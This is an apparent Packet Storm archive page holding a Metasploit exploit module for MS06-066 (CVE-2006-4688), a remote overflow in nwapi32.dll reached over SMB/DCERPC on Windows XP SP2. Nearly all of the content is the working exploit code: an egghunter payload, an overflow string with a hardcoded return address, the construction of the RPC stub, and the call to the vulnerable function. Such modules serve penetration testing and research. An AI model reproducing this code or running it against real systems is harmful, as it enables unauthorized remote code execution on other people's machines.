what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft Services MS06-066 nwapi32.dll

Microsoft Services MS06-066 nwapi32.dll
Posted Nov 26, 2009
Authored by Pusscat | Site metasploit.com

This Metasploit module exploits the vulnerability in nwapi32.dll as described in MS06-066.

tags | exploit
advisories | CVE-2006-4688
SHA-256 | 33bc808e7ab85cc1ade45587a80337a671a6358f6903cd6d4ce8bca192efdb44

Microsoft Services MS06-066 nwapi32.dll

Change Mirror Download
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# https://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Egghunter
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB


def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Services MS06-066 nwapi32.dll',
'Description' => %q{
XXX
},
'Author' => [ 'pusscat' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2006-4688'],
[ 'OSVDB', '30260'],
[ 'BID', '21023'],
[ 'MSB', 'MS06-066'],

],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 296,
'BadChars' => "",
'Compat' =>
{
# -ws2ord XXX?
},
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows XP SP2',
{
'Ret' => 0x00EBEEEC ,
},
]
],

'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 14 2006'))

register_options(
[
OptString.new('SMBPIPE', [ true, "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'srvsvc']),
], self.class)

end

def exploit
# [in] [unique] wchar *
# [in] wchar *
# [in, out] long
# [out] handle

# Generate the egghunter payload
hunter = generate_egghunter()
egg = hunter[1]
#print_status("Today, we'll be hunting for 0x#{egg.unpack("V")[0]}")

# Add giant blocks of guard data before and after the egg
eggdata =
rand_text(1024) +
egg +
egg +
payload.encoded +
rand_text(1024)

buflen = 295
ofstring = Rex::Text.to_unicode('\\\\') + "\x90" + hunter[0] + rand_text(buflen-hunter[0].length) +
[ target.ret ].pack('V') + "\x00"
#ofstring = Rex::Text.to_unicode('\\\\') + payload.encoded + [ target.ret ].pack('V') + "\x00\x00"
stubdata =
NDR.long(rand(0xffffffff)) +
NDR.UnicodeConformantVaryingString("\\\\BBBB") +
NDR.UnicodeConformantVaryingStringPreBuilt(ofstring) + # HERE!
#NDR.UnicodeConformantVaryingString('\\\\' + "A"*1024 + "\x00") +
NDR.long(rand(0xffffffff)) +
NDR.long(rand(0xffffffff)) +
#NDR.long((ofstring.length * 2) + 0xC) +
eggdata





print_status("Connecting to the SMB service...")
connect()
smb_login()

handle = dcerpc_handle('e67ab081-9844-3521-9d32-834f038001c0', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")

print_status("Calling the vulnerable function...")

begin
dcerpc.call(0x09, stubdata)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
print_good('Server did not respond, this is expected')
rescue => e
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
print_good('Server disconnected, this is expected')
else
raise e
end
else
print_status("Got #{dcerpc.last_response.stub_data.length} bytes: #{dcerpc.last_response.stub_data}")
end

# Cleanup
handler
disconnect

if (dcerpc.last_response != nil and
dcerpc.last_response.stub_data != nil and
dcerpc.last_response.stub_data == "\x04\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00")
return true
else
return false
end
end

end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close